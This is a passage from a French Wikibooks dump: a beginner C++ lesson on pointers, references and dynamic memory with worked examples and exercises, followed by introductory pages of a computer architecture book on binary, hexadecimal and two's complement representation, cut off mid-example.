mais la prudence doit être de rigueur ! ===Déclaration=== *Déclaration d'un pointeur : int * x; *x est un pointeur vers un entier : x contient l'adresse en mémoire où est stocké un entier. Initialement le pointeur n'est pas initialisé : x vaut donc n'importe quelle adresse en RAM. ===L'opérateur &=== Si a est un entier, &a renvoit l'adresse réel en mémoire de la variable a. <br/> On peut donc écrire : <br/> int a; <br/> int *x; <br/> x=&a; <br/> Dans ce bout de programme, on a copié l'adresse où est stockée en mémoire la variable a dans le pointeur x. Attention on a copié une adresse pas un entier. <br/> On dit que x pointe vers la variable a. <br/> ===L'opérateur de déréférencement * === Si x est un pointeur vers un entier, *x sera l'entier pointé par x. <br/> Ainsi si on écrit : <br/> int a; <br/> int *x; <br/> x=&a; <br/> <nowiki>*x=25;</nowiki><br/> Comme x est un pointeur vers a, *x désigne la variable a. <br/> L'instruction *x=25; copie un entier dans un autre et non une adresse. On copie donc l'entier 25 dans la variable a.<br/> ===Exemple 1 : utilisation de pointeurs=== <pre> #include<iostream> using namespace std; int main() { int a; int *x,*y; a=90; x=&a; cout<<*x<<endl; *x=100; cout<<"a vaut : "<<a<<endl; y=x; *y=80; cout<<"a vaut : "<<a<<endl; return 0; } </pre> *'''Explications''' **Dans cet exemple, on définit un entier a et deux pointeurs vers des entiers x et y. a est initialisée à la valeur 90. **Après l'instruction x=&a, x pointe vers a. x contient l'adresse en mémoire où est stockée la variable a. **L'instruction *x=100; modifie le contenu de la variable a et met la valeur 100 dans cette variable. **L'instruction y=x copie le pointeur x dans le pointeur y. Après cette instruction, les deux pointeurs x et y pointent vers la même variable a. **Lorsqu'on écrit *y=80, on modifie alors le contenu de la variable a qui vaut alors 80. **On voit donc sur cet exemple qu'un pointeur permet de modifier indirectement le contenu d'une variable. *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> 90<br/> a vaut : '''100'''<br/> a vaut : 80 ===Exemple 2 : un autre exemple d'utilisation de pointeurs=== <pre> #include<iostream> using namespace std; int main() { int a,b; int *x,*y; a=50; b=80; x=&a; y=&b; *x=*y; cout<<"a vaut : "<<a<<endl; x=y; *x=1000; cout<<"b vaut : "<<b<<endl; return 0; } </pre> *'''Explications''' **Dans cet exemple, on déclare deux entiers a et b et deux pointeurs vers des entiers x et y. **a est initialisé à 50 et b à 80. **L'instruction x=&a fait pointer x vers a. **L'instruction y=&b fait pointer y vers b. **L'instruction *x=*y copie l'entier pointé par y dans l'entier pointé par x c'est-à-dire copie b dans a. On a copié des entiers. a vaut donc 80. **On affiche ensuite la valeur de a c'est-à-dire 80. **L'instruction x=y copie le pointeur y dans le pointeur x : x pointe maintenant vers l'entier b (tout comme y d'ailleurs). On a copié des pointeurs. **L'instruction *x=1000 met la valeur 1000 dans l'entier pointé par x c'est-à-dire dans b. b vaut alors 1000. **On affiche ensuite la valeur de b c'est-à-dire 1000. **Dans cet exemple, il faut bien comprendre que parfois on copie des entiers, parfois on copie des pointeurs. *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> a vaut : 80 <br/> b vaut : 1000 <br/> ===Passage de paramètres par pointeurs=== *Lorsqu'on passe un pointeur en paramètre, on peut avoir un effet semblable au passage de paramètres par références. *On préfère toutefois assez souvent le passage de paramètres par référence. *Il faut connaître les 2 méthodes. ===Exemple 3 : passage de paramètres par pointeur=== <pre> #include<iostream> using namespace std; void minmax(int i,int j,int *min,int *max) { if(i<j){*min=i;*max=j;} else {*min=j;*max=i;} } int main() { int a,b,w, x; cout<<"Tapez la valeur de a : ";cin>>a; cout<<"Tapez la valeur de b : ";cin>>b; minmax(a,b,&w,&x); cout<<"Le plus petit vaut : "<<w<<endl; cout<<"Le plus grand vaut : "<<x<<endl; return 0; } </pre> *'''Explications''' **Dans cet exemple, on a une fonction minmax qui a comme paramètres 2 entiers i et j et 2 pointeurs vers des entiers min et max. Cette fonction trouve le plus petit de i et de j et le met dans l'entier pointé par min. Elle trouve le plus grand des 2 entiers et le copie dans l'entier pointé par max. **Dans la fonction main(), on déclare 4 entiers a, b, w, et x. On demande à l'utilisateur de saisir au clavier les entiers a et b. Lors de l'appel de fonction minmax(a,b,&w,&x), on copie la valeur de a dans i, la valeur de b dans j. On copie la valeur de &w (un pointeur vers w) dans min et on copie &x (un pointeur vers x) dans max: min pointe donc vers w et max vers x. Lors de l'appel, on va donc récupérer dans w le plus petit des entiers a et b et dans x le plus grand de ces 2 entiers. *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> Tapez la valeur de a : '''25''' <br/> Tapez la valeur de b : '''12''' <br/> Le plus petit vaut : 12 <br/> Le plus grand vaut : 25 ===Exemple 4 : passage de paramètres par référence=== <pre> #include<iostream> using namespace std; void minmax(int i,int j,int & min, int & max) { if(i<j) {min=i;max=j;} else {min=j;max=i;}; } int main() { int a,b,w, x; cout<<"Tapez la valeur de a : ";cin>>a; cout<<"Tapez la valeur de b : ";cin>>b; minmax(a,b,w,x); cout<<"Le plus petit vaut : "<<w<<endl; cout<<"Le plus grand vaut : "<<x<<endl; return 0; } </pre> *'''Explications''' **Au lieu d'utiliser un passage de paramètres par pointeur comme dans l'exemple 3, on peut bien sûr utiliser un passage de paramètres par référence. **Dans cette exemple, la fonction minmax possède 4 paramètres : 2 entiers i et j passés par valeur et 2 entiers min et max passés par référence. i et j sont les paramètres en entrée de la fonction minmax. min et max sont les paramètres en sortie de cette fonction. **Lors de l'écriture de la fonction minmax, on remarquera le symbole & placé après le type qui indique que le paramètre est passé par référence. **Lors de l'appel de minmax, on remarquera qu'il s'écrit minmax(a,b,w,x); sans symbole particulier. a et b sont passés par valeur et w et x sont passés par référence. *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> Tapez la valeur de a : '''20''' <br/> Tapez la valeur de b : '''10''' <br/> Le plus petit vaut : 10 <br/> Le plus grand vaut : 20 <br/> ===La taille des paramètres d'une fonction=== Lorsqu'on passe par valeur un paramètre à une fonction, ce paramètre est recopié juste avant l'appel. Si ce paramètre est une structure qui contient par exemple un tableau de taille importante, le temps nécessaire pour cette recopie peut être déraisonnable. ===Différentes solutions possibles=== Si un paramètre l de type T passé en paramètre à une fonction a une taille très importante, pour gagner du temps lors de l'appel on peut : *passer ce paramètre par pointeur car la taille d'un pointeur est faible (en général 4 octets). Par contre cela donne la possibilité de modifier ce paramètre dans le corps de la fonction. Le paramètre sera de type T*. *passer ce paramètre par référence car la taille d'une référence est faible (en général 4 octets). Par contre cela donne également la possibilité de modifier ce paramètre dans le corps de la fonction. Le paramètre sera de type T &. *ces 2 solutions sont problématiques car parfois il est intéressant d'empêcher le programmeur de modifier l dans le corps de la fonction pour éviter les bugs. *On peut également passé une référence vers une constante de type T : la taille du paramètre sera alors très petite (4 octets en général) et on peut empêcher le programmeur de modifier ce paramètre dans le corps de la fonction. *Le paramètre de la fonction sera alors de type '''const T &'''. *Cette solution sera désormais privilégiée pour passer à une fonction un paramètre de taille important en entrée uniquement. ===Alloction dynamique de mémoire=== *Un programme en C++ est capable de demander au système d'exploitation de la mémoire pour y stocker des données et de libérer ces zones mémoire au cours de l'exécution du programme : on appelle cela l'allocation dynamique de mémoire. *Le programmeur est tenu de "rendre" au système d'exploitation, les zones mémoire qu'il aura réclamé dynamiquement, au plus tard lors de la fermeture du programme. *Il existe deux méthodes pour effectuer de l'allocation dynamique de mémoire : **L'ancienne méthode qui utilise les fonctions malloc et free. **Une méthode plus récente qui utilise les mots-clés new et delete. ===malloc et free === Il s'agit de 2 appels système standards : <br/> *La fonction (void *) malloc(int t) demande au système de fournir une zone mémoire de t octets et renvoie par un return en pointeur vers cette zone (ou le pointeur NULL s'il n'y a pas assez de mémoire). cette fonction renvoie un élément de type '''void *''', c'est-à-dire un pointeur vers n'importe quelle type. En général, on effectue un cast pour transformer ce pointeur vers un pointeur vers un autre type, un pointeur vers un int par exemple. *La fonction void free(void *p) libère la zone mémoire pointée p. ===Tableaux de taille variable=== Grâce à malloc et free, on peut gérer des tableaux dont la taille est variable : un tableau peut s'allonger ou se réduire en fonction des besoins du programmeur. On appelle cela de l'allocation dynamique de mémoire. Ne pas oublier de libérer la mémoire. <br/> Pour demander au système d'exploitation une zone de la bonne taille, il peut être utile de connaître la taille occupée par un int, un char, ou n'importe quelle type structuré par exemple. Pour cela,on peut utiliser le mot-clé sizeof(type) qui a en paramètre un type quelconque et qui renvoie la taille en octets occupée par une variable de ce type. ===Exemple 5 : tableaux de taille variables avec malloc et free=== <pre> #include<iostream> using namespace std; #include<cstdlib> int main() { int *t; int i; t=(int *)malloc(5*sizeof(int)); if(t==NULL)cout<<"pas assez de mémoire"<<endl; else { for(i=0;i<5;i++)t[i]=i*i; for(i=0;i<5;i++)cout<<t[i]<<" "; cout<<endl; free(t); t=(int *)malloc(10*sizeof(int)); if(t==NULL)cout<<"pas assez de mémoire"<<endl; else { for(i=0;i<10;i++)t[i]=i*i; for(i=0;i<10;i++)cout<<t[i]<<" "; cout<<endl; free(t); } } return 0; } </pre> *'''Explications''' **Dans cet exemple, t est un pointeur vers un entier. **Dès qu'on écrit t=(int *)malloc(5*sizeof(int)), t devient un pointeur vers un zone mémoire dont la taille est 5 fois la taille d'un entier. t devient ainsi un tableau de 5 entiers qu'on peut utiliser comme n'importe quel tableau d'entiers. **Si t n'est pas NULL, ce qui signifie qu'il y avait assez de mémoire disponible, alors on peut accéder à n'importe quelle taille du tableau en écrivant t[i] (i étant bien sûr compris entre 0 et 4). **Dans ce programme, on remplit les 5 cases du tableau t en mettant i*i dans la case i et on affiche ce tableau. **Ensuite, on libère l'espace occupé par le tableau en appelant la fonction free(t). T devient alors un pointeur non initialisé et on a plus le droit d'accéder aux différentes cases du tableau qui a été détruit. **On appelle ensuite la fonction t=(int *)malloc(10*sizeof(int)); t devient alors cette fois-ci un tableau à 10 cases (sauf si t est NULL) et on peut accéder à la case i en écrivant t[i] (i compris entre 0 et 9). **Dans ce programme, on remplit les 10 cases du tableau t en mettant i*i dans la case i et on affiche ce tableau. **On détruit ensuite la tableau t en appelant free(t). *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> 0 1 4 9 16 0 1 4 9 16 25 36 49 64 81 === new et delete=== *new et delete sont 2 mots-clés permettant de faire de l'allocation dynamique de mémoire de manière plus performante que malloc et free. *on préférera utiliser new et delete que malloc et free. ===Utilisation de new=== '''Syntaxe : '''<br/> new type[taille]; <br/> new renvoie un tableau dont la taille est taille éléments, chaque élément étant de type type. S'il n'y a pas assez de mémoire, new renvoie NULL. <br/> new renvoie un élément dont le type est type *. <br/> ===Utilisation de delete=== '''Syntaxe : '''<br/> delete []t; <br/> Si t est un tableau qui a été créé en utilisant la méthode précédente, l'utilisation de delete détruit ce tableau. Le tableau t n'est donc plus utilisable dès qu'on a utilisé l'opérateur delete. <br/> ===Exemple 6 : tableaux de taille variable avec new et delete=== <pre> #include<iostream> using namespace std; int main() { int *t; int i; t=new int[5]; if(t==NULL)cout<<"pas assez de mémoire"<<endl; else { for(i=0;i<5;i++)t[i]=i*i; for(i=0;i<5;i++)cout<<t[i]<<" "; cout<<endl; delete [ ]t; t=new int[10]; if(t==NULL)cout<<"pas assez de mémoire"<<endl; else { for(i=0;i<10;i++)t[i]=i*i; for(i=0;i<10;i++)cout<<t[i]<<" "; cout<<endl; delete[ ] t; } } return 0; } </pre> *'''Explications''' **Dans cet exemple, t est un pointeur vers un entier. **Grâce à l'opérateur new, on transforme t en un tableau de 5 entiers grâce à l'instruction. t=new int[5]; On remplit ce tableau et on affiche le contenu des 5 cases de ce tableau. On détruit ce tableau en utilisant l'instruction delete [ ]t; **On crée ensuite un autre tableau comportant cette fois 10 cases, on le remplit, on l'affiche et on le détruit de la même manière que précédemment. *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> 0 1 4 9 16 0 1 4 9 16 25 36 49 64 81 ===Tableaux statiques et pointeurs=== Lorsqu'on écrit '''int t[10];''', t est en fait un pointeur non modifiable (constant donc) vers une zone de 10 fois la taille d'un entier (4 octets) donc vers une zone de 40 octets. t pointe vers t[0]. === Incrémentation d'un pointeur=== *Lorsqu'on incrémente un pointeur p en écrivant p++ p est incrémenté de la taille de l'élément pointé. Si p par exemple pointe vers un élément i d'un tableau, après p++, il pointe vers l'élément i+1. *Lorqu'on écrit p[i], on rajoute en fait à p la valeur i fois la taille du type pointé et on déréférence ce pointeur. *Il est toutefois recommandé d'utiliser ces opérations sur les pointeurs avec un extrême prudence. ===Exemple 7 : incrementation de pointeurs=== <pre> #include<iostream> using namespace std; int main() { int t[10]; int i; for(i=0;i<10;i++)t[i]=i*i; int *x; x=t; for(i=0;i<10;i++){cout<<*x<<" ";x++;} cout<<endl; return 0; } </pre> *'''Explications''' **Dans cet exemple, t est un tableau statique de 10 entiers et x est un pointeur vers un entier. **L'instruction x=t; permet de faire pointer x vers la première case du tableau t. Il est équivalant d'écrire x=t; que d'écrire x=&t[0]; **A l'intérieur d'une boucle for, on va afficher *x, c'est-à-dire l'entier pointé par t et à chaque étape, on écrit x++, ce qui incrémente la valeur de t de la taille d'un entier. **x va donc pointer successivement t[0], t[1],…etc…t[9]. On va donc afficher une à une toutes les cases du tableau. *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> 0 1 4 9 16 25 36 49 64 81 ===Exemple 8 : parcours d'un tableau de char par un pointeur=== <pre> #include<iostream> using namespace std; int main() { char c[100]; cout<<"Tapez une chaîne : ";cin>>c; char *p; p=c; while(*p!='\0'){cout<<*p<<endl; p++;} return 0; } </pre> *'''Explications''' **Dans cet exemple, c est un chaîne de caractères : on demande à l'utilisateur par un cin de saisir la valeur de cette chaîne. **p est un pointeur vers un char. Lorsqu'on écrit p=c, p pointe vers le premier caractère de la chaîne. **Dans une boucle while, on va afficher le caractère pointé par p grâce à l'instruction cout<<*p<<endl; et on fait pointer p vers le caractère suivant de la chaîne en écrivant p++;. On quittera le while lorsque *p vaudra '\0', c'est-à-dire lorsque p pointera vers le caractère de fin de chaîne. **On aura donc afficher un à un tous les caractères de la chaîne. *'''Exécution''' Lorsqu'on exécute le programme voici ce qu'on obtient à l'écran : <br/> Tapez une chaîne : '''BONJOUR''' <br/> B <br/> O <br/> N <br/> J <br/> O <br/> U <br/> R<br/> ===Conclusion=== Les pointeurs constituent une notion fondamentale du C++. Elle est utilisée pour passer des paramètres à une fonction ou pour créer des strcutures de données complexes comme des tableaux de taille variable. Elle est toutefois complexe à utiliser et source de nombreux bugs. Elle est d'ailleurs très controversée et on peut remarquer qu'elle a disparu dans des langage de programmation plus récent que le C++ comme le langage Java. Tout programmeur en C++ se doit toutefois de connaître cette notion encore très importante et très utilisée. ==Exercices== ===Exercice 1=== Ecrire une fonction swap qui a comme paramètres deux pointeurs vers des entiers et qui échange le contenu des deux entiers pointés. Tester cette fonction en écrivant un programme qui échange le contenu de deux entiers a et b en appelant cette fonction. ===Exercice 2 === Ecrire une fonction qui a comme paramètres un tableau d'entiers de taille quelconque, la taille du tableau, et 2 pointeurs vers des entiers min et max. La fonction doit renvoyer dans les entiers pointés par min et max respectivement les plus petits et les plus grands entiers du tableau. ===Exercice 3=== Ecrire une fonction quia en paramètre une chaîne de carctères et qui renvoie par un return le nombre d'occurences de la lettre 'A'. Cette fonction devra parcourir la chaîne en utilisant un pointeur. Tester cette fonction. ===Exercice 4=== Ecrire une fonction qui a comme prototype copy(char * ch1, char * & ch2). Cette fonction a comme paramètre en entrée une chaîne de caractères ch1 et une référence vers un pointeur ch2. Avant l'appel ch2 est un pointeur non initialisé. Après l'appel, ch2 pointe vers un nouveau tableau de char qui contient une copie de la chaîne ch1. Ce nouveau tableau de char aura la taille minimale nécessaire. Tester cette fonction. ===Exercice 5=== Réécrire la fonction du 5 et le programme principal mais cette fois-ci le pointeur ch2 sera non plus passé par référence mais par pointeur. La fonction copy aura donc comme prototype : copy(char * ch1, char * * ch2). ===Exercices 6=== On veut écrire un programme qui permet de gérer une liste de notes grâce à un tableau de taille variable. Une note sera définie par un nom (chaîne de 9 caractères utiles), un prénom (chaîne de 9 caractères utiles) et une valeur (un réel). Notre struture listeNotes (qui contient une liste de notes) sera caractérisée par un pointeur vers une note qui sera en fait un tableau de taille variable de notes, un entier nbmax qui sera la taille réelle du tableau, par un entier nb qui sera le nombre d'éléments contenus dans la liste et un entier inc qui sera la taille initiale du tableau. Au départ, le tableau fait inc cases et la liste et vide. On peut alors rajouter des éléments dans la liste. Lorsque le tableau devient trop petit, on augmente la taille du tableau de inc cases. Pour cela , il faudra réallouer de la place pour un nouveau tableau de notes plus grand que l'ancien. Il faudra ensuite copier les notes de l'ancien tableau dans le nouveau, détruire l'ancien tableau et faire pointer le tableau de notes de notre vers notre nouveau tableau. Notre tableau verra donc sa taille augmenter de inc cases à la fois au fur et à mesure des besoins. Lorsqu'on supprimera des notes dans le tableau et dès qu'il y aura inc cases de vide dans le tableau on réduira de la même manière la taille du tableau. Notre nouvelle structure listeNotes aura une gestion de la mémoire nettement meilleure qu'avec un tableau statique. <br/> Notre liste de notes sera gérée par le menu suivant :<br/> 1. Ajouter une note.<br/> 2. Afficher une liste de notes.<br/> 3. Supprimer une note en tapant son nom et son prénom.<br/> 4. Afficher la moyenne des notes.<br/> 5. Quitter.<br/> <br/> Il faudra veiller à ce qu'il n'y ait pas 2 notes avec le même nom et le même prénom dans la liste et il faudra trier la liste de notes d'abord par rapport au nom, ensuite par rapport au prénom au fur et à mesure des ajouts et des suppressions de notes. On veillera à bien décomposer ce problème en différents modules et à mener une reflexion sur les fonctions nécessaires dans chaque module. Architecture des ordinateurs 6850 35426 2006-03-02T07:41:04Z Merrheim 1032 {{Architecture des ordinateurs}} {| width="70%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="#E0E0F0" align="center" colspan="2" | {| width="100%" bgcolor="#E0E0F0" |- | bgcolor="#E0E0F0" valign="middle" width="90%" align="center" | <font size="+1">Architecture des ordinateurs</font> ''Un livre appartenant à la série Architecture du [[Département informatique/Bibliothèque|Département informatique]] <br/> et à l'[[Accueil/Informatique|étagère Informatique]] de [[Accueil|Wikilivres]]''. |- |} |- bgcolor="lightyellow" valign="top" colspan="2" | {{Sous section|nom=Architecture des ordinateurs/Sommaire|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} |- | colspan="2" align="center" | {| |- | align="left" | |- |} |- |} Modèle:Architecture des ordinateurs 6851 34168 2006-02-23T12:15:24Z Merrheim 1032 {| style="border:3px blue solid; border-style: inset;" cellspacing="0" cellpadding="2px" align="right" | style="text-align:center;background:#E0E0F0;" | '''[[Architecture des ordinateurs]]''' |- | style="text-align:center;background:#E0E0F0;" | ''[[Département informatique/Bibliothèque|Département Informatique]]'' |- | style="text-align:center;background:white;" | [[Image:Wikibooks-logo-fr.png|150px|center|Programmation C++ (débutant)]] |- | bgcolor="#E0E0F0" align="center" |'''Sommaire''' |- | bgcolor="white" | *<small>[[Architecture des ordinateurs/Introduction|Introduction]]</small> *<small>[[Architecture des ordinateurs/Représentation des données|Représentation des données]]</small> *<small>[[Architecture des ordinateurs/Codes détecteurs et correcteurs d'erreurs|Codes détecteurs et correcteurs d'erreurs]]</small> *<small>[[Architecture des ordinateurs/Circuits|Circuits asynchones usuels]]</small> |- | bgcolor="#E0E0F0" align="center" |'''Bibliographie''' |- | bgcolor="white" | *<small>[[Architecture des ordinateurs/Liens Internes|Lien internes]]</small> |- | align="right" bgcolor="white" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:Architecture_des_ordinateurs&action=edit | Modifier ce modèle]</small> |} Architecture des ordinateurs/Introduction 6852 32604 2006-02-13T07:03:04Z Merrheim 1032 /* A quoi sert l'architecture des ordinateurs ? */ {{Architecture des ordinateurs}} == Qu'est-ce que l'architecture des ordinateurs ?== Il s'agit de la science qui étudie le fonctionnement interne des ordinateurs. Nous tenterons dans ce cours de répondre à quelques-unes des question suivantes : * Comment un ordinateur représente-t-il ses données ? * Comment un circuit interne au processeur peut-il effectuer une addition ? * Comment apprendre à programmer en assembleur ? * Comment fonctionne une mémoire cache ? * Comment fonctionne un disque dur ? ...etc... == A quoi sert l'architecture des ordinateurs ?== Il est clair qu'aujourd'hui très peu d'informaticiens utilisent directement dans leur métier des compétences d'architecture des ordinateurs. En effet, très peu de personnes sont concernées par la fabrication d'un processeur ou d'un ordinateur. On peut très bien programmer, réparer, configurer, et administrer un ordinateur sans connaître son fonctionnement interne. Mais il est clair que pour se déclarer informaticien, il est indispensable d'avoir un minimum de culture informatique. Peut-on être garagiste sans connaître le fonctionnement du moteur à explosion ? Certainement pas... Il en est de même pour l'informatique. Vous n'apprendrez pas à fabriquer un processeur dans le cadre de ce cours mais vous aurez la culture minimale pour en connaître les principes de fonctionnement. Cette science est de plus passionnante et vous êtes donc invités à la découvrir . ==Qu'est-ce qu'un ordinateur ? == L'architecture des ordinateurs étudie le fonctionnement des ordinateurs mais qu'est-ce qu'un ordinateur ? Il n'est pas chose aisée de répondre à cette question. Nous proposerons toutefois la définition suivante : * Un ordinateur effectue des traitements automatisés sur des données : il est capable de les transformer, de les stocker et de les archiver. * Ces données sont représentés sous une forme numérique, c'est-à-dire sous la forme de suites finies de 0 et de 1. * Un ordinateur est programmable : en modifiant son programme on peut modifier de manière majeure les différents traitements qu'il est capable de réaliser. Architecture des ordinateurs/Représentation des données 6853 38086 2006-03-17T16:34:01Z 193.55.74.52 /* Représentation des entiers signés en complément à 2 */ {{Architecture des ordinateurs}} == Le cours sur la représentation des données== ===Introduction=== Pour être capable d'effectuer des traitements sur des données, un ordinateur doit être capable de représenter des données. Le choix d'un format de représentation est loin d'être neutre et de nombreux éléments sont à prendre en considération : * '''la représentation de ma donnée est-elle suffisamment proche de la réalité ? '''Lorsqu'on représente une image par exemple, on va avoir une représentation de l'image légèrement déformée par rapport à la réalité. Cette approximation est-elle compatible avec le traitement que je veux lui faire subir. * '''le volume de ma donnée est-il raisonnable ?''' Même si la capacité de stockage des ordinateurs paraît gigantesque, des limites existent et les besoins des utilisateurs sont toujours plus importants. Essayez de stocker 4 heures de films avec une précision suffisante pour qu'il soit projeté sur l'écran géant d'une salle de cinéma et vous verrez rapidement qu'il est nécessaire de réfléchir à la compression des données ! En général se second point est antagonisté avec le premier : plus on veut être précis dans notre représentation, plus le volume de ma données sera important. Il faut donc trouver un juste milieu. L'informatique et ses capacités de stockage et de traitements évoluant de manière spectaculaire, de nouveaux standards toujours plus précis et toujours plus volumineux apparaissent sans cesse et la réalité d'aujourd'hui sera bien différente de celle de demain. * '''le format de représentation de ma donnée est-il adapté au traitement qu'on veux lui faire subir ?''' Certains systèmes de représentation auront des meilleures propriétés que d'autres à ce niveau. Par exemple, si vous voulez réaliser des trucages vidéos sur un film, il vous faudra certainement le décomprésser auparavant avant d'effectuer le traitement : il vous faudra alors un ordinateur avec des volumes de stockage gigantesque pour effectuer cette opération. * '''le format utilisé est-il standard ?''' Si vous stockez des données dans un format que vous êtes le seul au monde à utiliser, vous rencontrerez d'énormes problèmes des que vous voudrez communiquer avec l'extérieur ! Or notre monde est un monde de communication et il est inenvisageable de travailler seul sur un projet : il faut travailler avec des systèmes de représentation standards et accepter leur qualité mais également leurs défauts. D'ailleurs, la maîtrises des standards informatiques fait l'objet d'une guerre économique sans merci : qui contrôle les standards contrôle l'informatique. ===Formats de représentation numériques=== Un ordinateur manipule des données très diverses : des entiers, des réels, des textes, des images, des sons. Néanmoins toutes ces données sont représentées par des suites finies de 0 et de 1 appelés bits. Chaque type de données (les entiers, les réels,...) utilisera un système de représentation qui lui est propre mais à chaque fois la donnée sera représentée par des suites finies de bits. On parle de représentation numérique de ces données. ===Intérêt des formats numériques=== L'intérêt des formats numériques et de pouvoir dupliquer une donnée à l'infini sans perte de qualité. On peut prendre un texte et le dupliquer un million de fois sur un Cd-ROM par exemple sans qu'il y ait la moindre différence entre chacun des copies et l'original. Il est beaucoup plus facile d'effectuer des traitements automatisés sur des données représentées dans un format numérique. ===Notation hexadécimale === Il ne s'agit pas ici d'un standard de représentation. Il est difficile pour un être humain de noter une longue suite de bits (32 bits par exemple) sans faire d'erreur. La notation hexadécimale permet de représenter une suite de bits de manière plus compacte. Pour cela, on va découper la suite de bits par paquet de 4 bits et on représentera chaque paquet de 4 bits par un caractère :<br/> 0000 sera représenté par 0<br/> 0001 sera représenté par 1<br/> 0010 sera représenté par 2<br/> 0011 sera représenté par 3<br/> 0100 sera représenté par 4<br/> 0101 sera représenté par 5<br/> 0110 sera représenté par 6<br/> 0111 sera représenté par 7<br/> 1000 sera représenté par 8<br/> 1001 sera représenté par 9<br/> 1010 sera représenté par A<br/> 1011 sera représenté par B<br/> 1100 sera représenté par C<br/> 1101 sera représenté par D<br/> 1110 sera représenté par E<br/> 1111 sera représenté par F<br/> <br/>'''Exemple 1 :'''<br/> La suite de bits 0011 1110 1101 1000 0000 1111 0011 0111 s'écrit en notation hexadécimale 3ED80F37 ===Représentation des entiers en base 2 === * Tout entier X entre 0 et 2<sup>N</sup>-1, peut être représenté par une unique suite de bits x<sub>0</sub> ,x<sub>1</sub> ,...,x<sub>N-1</sub> valant chacun 0 ou 1 telle que :<br/> <math>X=\sum_{n=0}^{N-1} x_i.2^i</math><br/> *La base 2 est un standard de représentation très utilisé pour représenté des entiers postifs ou sein d'un ordinateur. La manipulation des entiers ainsi représentés est en effet très aisée. Beaucoup de processeurs représentent les entiers sur 32 bits (N=32) ou sur 64 bits (N=64). *Nous allons présenter la base 2 sur 8 bits afin de bien comprendre les bases de ce système de représentation mais en limitant la longueur des calculs. * Sur 8 bits, on peut représenter en base 2 tous les entiers entre 0 et 2<sup>8</sup>-1=255. *'''Conversion base 10 vers base 2'''<br/> Si on se donne un entier entre 0 et 255, comment obtenir sa représentation en base 2 ?<br/> Nous allons utiliser l'algorithme suivant : <pre> 1) Rechercher la plus grande puissance de 2 inférieur ou égale à X. 2) Soustraire cette puissance de 2 à X. 3) Recommencer au 1) avec le résultat obtenu jusqu'à obtenir 0. 4) On obtient alors l'écriture de X sous la forme d'une somme d'une puissance de 2 </pre> '''Exemple :'''<br/> On veut représenter 173 en base 2 sur 8 bits :<br/> 173-128=45<br/> 45-32=13<br/> 13-8=5<br/> 5-4=1<br/> 1-1=0<br/> 173=128+32+8+4+1<br/> Obtenir la représentation finale de 173 est maintenant assez simple. On utilise la règle suivante : <br/> '''Règle : '''<br/> 1) Si 2<sup>i</sup> est présent dans la décomposition de X obtenue par l'algorithme précédent x<sub>i</sub>=1.<br/> 2) Dans le cas contraire, x<sub>i</sub>=0.<br/> 3) On représentera la suite de bits '''poids fort en tête''' c'est-à-dire de x<sub>N-1</sub> à x<sub>0</sub>. x<sub>N-1</sub> sera appelé le bit de poids fort et x<sub>0</sub> sera appelé le bit de poids faible. <br/><br/> On a obtenu précédemment <math>173=2^7+2^5+2^3+2^2+2^0</math> donc on a :<br/> x<sub>7</sub>=1<br/> x<sub>6</sub>=0<br/> x<sub>5</sub>=1<br/> x<sub>4</sub>=0<br/> x<sub>3</sub>=1<br/> x<sub>2</sub>=1<br/> x<sub>1</sub>=0<br/> x<sub>0</sub>=1<br/> La repésentation de 173 en base 2 est donc (10101101)<sub>2</sub> *'''Conversion base 2 vers base 10'''<br/> Si on se donne une suite de bits x<sub>N-1</sub> ,x<sub>N-2</sub> ,...,x<sub>0</sub> qui représente un entier en base 2 et si on veut obtenir sa valeur décimale on utilisera tout simplement la formule : <math>X=\sum_{n=0}^{N-1} x_i.2^i</math>.<br/> '''Exemple :'''<br/> Quel est l'entier X représenté en base 2 par (11001110)<sub>2</sub> ?<br/> <math>X=1.2^7+1.2^6+0.2^5+0.2^4+1.2^3+1.2^2+1.2^1+0.2^0=128+64+8+4+2=206</math><br/> * '''Quelques valeurs à connaître'''<br/> ** En base 2 sur N bits, on représente tous les entiers de 0 à 2<sup>N</sup>-1. ** En base 2 sur 8 bits, on représente les entiers de 0 à 255. ** En base 2 sur 16 bits, on représente les entiers de 0 à 2<sup>16</sup>-1=65535. ** En base 2 sur 32 bits, on représente les entiers de 0 à 2<sup>32</sup>-1= 4 294 967 295 (4 milliards environ). * '''Quelques exemples d'utilisation de la base 2'''<br/> ** Pour repérer un endroit dans la RAM, le numéro de la case mémoire est représenté en base 2. ** Pour repéré un secteur sur un disque dur, le numéro du secteur est représenté en base 2. ** Lorsqu'un programme en C++ utilise une variable de type '''unsigned int''', il est en général représenté en base 2. ** ...etc... ===Représentation des entiers signés en complément à 2 === *La base 2 ne permet de représenter que des entiers positifs. Pour représenter un entier signé, c'est-à-dire pouvant être positif ou nul, on utilise en général le complément à 2. Beaucoup de processeurs manipulent les entiers signés en complément à 2 sur 32 bits ou sur 64 bits. Pour des raisons pratiques, nous étudierons ici le complément à 2 sur 8 bits. * '''Conversion base 10 vers complément à 2'''<br/> On veut représenter X en base 2 sur N bits.<br/> '''Règle : '''<br/> 1) Si X est négatif, le premier bit sera à 1 et les N-1 autres bits seront la représentation de 2<sup>N-1</sup>+X en base 2 sur (N-1) bits.<br/> 2) Si X est positif, le premier bit sera à 0 et les N-1 autres bits seront la représentation de X en base 2 sur (N-1) bits. <br/><br/> On peut représenter en complément à 2 les entiers de -2<sup>N-1</sup> à 2<sup>N-1</sup>-1. * '''Exemple 1 :''' <br/> On veut représenter -67 en complément à 2 sur 8 bits.<br/> -67 est négatif le premier bit vaut donc 1. <br/> 128-67=61 on représente 61 en base 2 sur 7 bits.<br/> 61-32=29 <br/> 29-16=13 <br/> 13-8=5 <br/> 5-4=1 <br/> 1-1=0<br/> 61 s'écrit donc en base 2 sur 7 bits 011 1101<br/> -67 s'écrit donc en complément à 2 sur 7 bits 